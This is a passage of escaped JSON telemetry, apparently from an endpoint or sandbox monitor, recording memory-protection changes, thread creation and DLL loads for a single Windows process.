ype\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987383065817\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B0\",\"size\":\"13600\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0354A\",\"page_addr\":\"00007FFBDEC03000\",\"size\":\"1089536\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC02252\",\"page_addr\":\"00007FFBDEC02000\",\"size\":\"1093632\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00921\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEBFFB05\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987383065817\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B0\",\"size\":\"13600\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0354A\",\"page_addr\":\"00007FFBDEC03000\",\"size\":\"1089536\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC02296\",\"page_addr\":\"00007FFBDEC02000\",\"size\":\"1093632\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00943\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEBFFB05\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987383378288\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F100\",\"size\":\"1024\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC05082\",\"page_addr\":\"00007FFBDEC05000\",\"size\":\"1081344\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC079D2\",\"page_addr\":\"00007FFBDEC07000\",\"size\":\"1073152\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04C14\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"etw\",\"time\":\"133737987377344566\",\"pid\":\"1704\",\"thread_id\":\"14644\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x0000012136132700\",\"ImageSize\":\"0x00000121361328E0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"192391\",\"TimeDateStamp\":\"946832066\",\"DefaultBase\":\"0x0000012136132160\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\wldp.dll\"},{\"type\":\"kernel\",\"time\":\"133737987385878346\",\"callback\":\"thread\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"threadid\":\"14344\",\"create\":\"1\"},{\"type\":\"kernel\",\"time\":\"133737987385878346\",\"callback\":\"thread\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"threadid\":\"9096\",\"create\":\"1\"},{\"type\":\"kernel\",\"time\":\"133737987385878346\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\oleacc.dll\"},{\"type\":\"dll\",\"time\":\"133737987383378288\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"0000022524E5CDA8\",\"size\":\"3176\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC44518\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC2288A\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC50128\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC500D3\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"kernel\",\"time\":\"133737987385878346\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\TextInputFramework.dll\"},{\"type\":\"kernel\",\"time\":\"133737987385878346\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\CoreMessaging.dll\"},{\"type\":\"kernel\",\"time\":\"133737987385878346\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\CoreUIComponents.dll\"},{\"type\":\"kernel\",\"time\":\"133737987385878346\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ws2_32.dll\"},{\"type\":\"dll\",\"time\":\"133737987383378288\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"0000022524A57458\",\"size\":\"1024\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC44518\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC2288A\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC50128\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC500D3\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987384472049\",\"pid\":\"1704\",\"tid\":\"3796\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F1FEAF8\",\"size\":\"88\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC4419C\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC220F9\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00446\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBD87D6FF2\",\"page_addr\":\"00007FFBD87D6000\",\"size\":\"409600\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987385253319\",\"pid\":\"1704\",\"tid\":\"3796\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F1FEAF8\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC441ED\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC220F9\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00446\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBD87D6FF2\",\"page_addr\":\"00007FFBD87D6000\",\"size\":\"409600\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987385253319\",\"pid\":\"1704\",\"tid\":\"3796\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F1FEEC8\",\"size\":\"136\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC4419C\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC220F9\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00446\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDD6AC472\",\"page_addr\":\"00007FFBDD6AC000\",\"size\":\"1429504\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987385565813\",\"pid\":\"1704\",\"tid\":\"3796\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F1FEEC8\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC441ED\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC220F9\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00446\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDD6AC472\",\"page_addr\":\"00007FFBDD6AC000\",\"size\":\"1429504\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987385878346\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F17F008\",\"size\":\"496\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFEE4\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"kernel\",\"time\":\"133737987388222078\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ntmarta.dll\"},{\"type\":\"dll\",\"time\":\"133737987386347087\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F17F008\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFFB5\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987386347087\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F17F008\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFFED\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987386659587\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F17F008\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC00068\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987386815810\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F17F008\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0009C\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987387128306\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F17F000\",\"size\":\"13600\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0354A\",\"page_addr\":\"00007FFBDEC03000\",\"size\":\"1089536\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC02252\",\"page_addr\":\"00007FFBDEC02000\",\"size\":\"1093632\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00921\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEBFFB05\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987387128306\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F17F000\",\"size\":\"13600\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0354A\",\"page_addr\":\"00007FFBDEC03000\",\"size\":\"1089536\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC02296\",\"page_addr\":\"00007FFBDEC02000\",\"size\":\"1093632\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00943\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEBFFB05\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987388065901\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F17F050\",\"size\":\"2368\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC05082\",\"page_addr\":\"00007FFBDEC05000\",\"size\":\"1081344\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC079D2\",\"page_addr\":\"00007FFBDEC07000\",\"size\":\"1073152\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx